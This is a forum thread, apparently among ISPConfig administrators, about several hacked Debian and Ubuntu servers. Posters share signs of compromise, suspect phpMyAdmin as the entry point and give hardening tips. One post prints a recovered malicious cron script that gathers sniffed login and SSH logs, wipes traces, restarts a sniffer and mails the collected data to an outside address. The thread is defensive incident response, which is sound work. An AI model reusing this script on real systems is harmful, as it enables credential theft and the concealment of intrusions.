Posting this quickly so that others can check their systems for signs. ls -ahl /usr/lib/.x/ If that shows you files on your server you have been hacked just like we seem to have been on serveral servers. (All ISPConfig3 servers.) Powered by ISPConfig 3.0.1.6 Debian Lenny 5.0.3 (OpenVz) Proxmox 1.4 Linux server44 2.6.24-7-pve #1 SMP PREEMPT Tue Jun 2 08:00:29 CEST 2009 i686 Seems like some kind of IRC Bot.
(Uups spoke too soon!! Looks like Ubuntu 8.04 LTS / ISPConfig 2's are also vulnerable.) Also found them in Debian 5.0.3 / ISPConfig 3's so far. If your server has been used to hack other servers you can see something like this in 'name'.seen file. server.name.com none 1267130228 2 Quit: I'll get you for this!!! m1n2b3b3b [email protected] none 1267471837 3 l3iliboi-- l3iliboi`- l3iliboi`[email protected] none 1267392327 3 l3iliboi l3iliboi [email protected] none 1267426060 2 Read error: Operation timed out Also crontab -e will show your crontab emty execpt a command that will call /usr/lib/.x/update file.
The plot thickens. This was recovered on one of our tests servers that has ISPconfig2 on Ubuntu 8.04 LTS. They used /etc/cron.daily/dnsquery: #!/bin/sh cd /usr/lib/ ./popauth -r httpd.log >> test echo "$(uptime)" >> test rm -rf httpd.log echo "named.sn" cat /usr/lib/named/named.sn >> test rm -rf /usr/lib/named/named.sn cd /usr/lib/named ./clean ./cleanssh echo "ssh.log" >> /usr/lib/test cat ssh.log >> /usr/lib/test cd /usr/lib/ mail [email protected] -s "$(hostname -f)" < test mail [email protected] -s "$(hostname -f)" < test A=$PATH killall -9 popauth export PATH=/usr/lib/ popauth -w httpd.log & export PATH=$A
Looks like an old hack from 2006 See: http://ubuntuforums.org/showthread.php?t=221922 Page 2 will show the exact same code as you posted.
That was only one of the hack's on the test server. The ones that I'm worried about are the ones that were on ns3 and ns5. Those were minimal Debian / ISPC3 servers. They only contained LAMP stuff without any clients. Not even FTP.
SamTzu, this is always a bitch but can you give us some information like is this single server running all the services or is it multi server environment? Was your server patched? Are you using firewall? Do you allow your customers ssh access? How do you access server? Have you done any hardening of the server? Have the accessed server through website or some exploit?
Nope. As I said before... What I'm really worried about is that 2 of the 7 hacked servers had almost no installed services and no other users. (No Email or FTP service installed.) That points the vulnerability (if there is one) to either Debian/Ubuntu LAMP or ISPConfig. Either way it's not good. We are still working on weather it was a weak password or a vulnerability. What's worse is that it looks like a 'script kiddie' type of hack. They were not too clever in covering their tracks. Missing cron jobs and history are pretty obvious clues. If this is a vulnerability it means that this vulnerability is easily available.
Found this (see comments) about the Horde, but as you did not have it on your system the hack was not done that way. Keep us posted on what you find.
@Samtzu: Did you had phpmyadmin installed on these servers? I've seen several hacks that I investigated for customers trough phpmyadmin in the last months. If this happened to you on ispconfig2 and ispconfig 3 systems, it might be not related to ispconfig as ispconfig 2 and 3 are completely different architectures and do not share any code. Sonits very unlikely that a problem affects both versions.
to: Till Agreed. I too suspect phpmyadmin. But so far I'm not good enough to find out for certain. Here is the apt-get upgrade info from one of the hacked servers... (As you can see phpmyadmin should be updated. It was last updated a few months ago.) The following packages will be upgraded: apache2 apache2-doc apache2-mpm-prefork apache2-suexec apache2-utils apache2.2-common base-files bind9-host dhcp3-client dhcp3-common dnsutils dpkg dpkg-dev fam gzip libapache2-mod-php5 libbind9-40 libc6 libc6-dev libcups2 libcupsimage2 libdbd-mysql-perl libdns45 libexpat1 libfam0 libgd2-xpm libglib2.0-0 libglib2.0-data libgnutls26 libhtml-parser-perl libisc45 libisccc40 libisccfg40 libkrb53 libldap-2.4-2 libltdl3 libltdl3-dev liblwres40 libmysqlclient15-dev libmysqlclient15off libpq5 libssl0.9.8 libthai-data libthai0 libtool linux-libc-dev locales login mysql-client mysql-client-5.0 mysql-common mysql-server mysql-server-5.0 ntp ntpdate openssl passwd php-pear php5 php5-cgi php5-cli php5-common php5-curl php5-gd php5-imap php5-mcrypt php5-mysql phpmyadmin python2.5 python2.5-minimal spamassassin spamc tzdata 73 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 96.0MB of archives. After this operation, 131kB of additional disk space will be used. Do you want to continue [Y/n]? n
There are a few general recommendations to prevent this in future: a) Install all updates regularily. I check at least one one of my servers every few days, If i see that there are updates available, I login to every server and install the updates. b) Try to protect phpmyadmin, the following options might help: - Add a robots.txt in the phpmyadmin filder which denies spidering, so your phpmyadmin install is not listed in the major search engines. - Dont name the phpmyadmin folder phpmyadmin. - The ultimate but not always usable method to secure phpmyadmin is to add a password protection with a .htaccess file.
I think I'm going to go with .htaccess that ask's LDAP (zimbra) for the user ID and password. I all ready have the .htaccess ready but we have not used it anywhere yet because the LDAP is not SSL protected. Anyway we can use somekind of phpmyadmin account and change it's password regularly to avoid problems like this. Most ordinary clients do not use MySQL tools anyway. And those who need to use them can ask for a password. PS. How often you guys change the mysql root password?
Hi, If i can help you tell me please. I am very interesed in investigate and maybe to known new hack methods and search a solution. ./dxr
For example: http://bugtracker.ispconfig.org/index.php?do=details&task_id=799&project=3&tasks=&due=21&status[0]=&pagenum=2
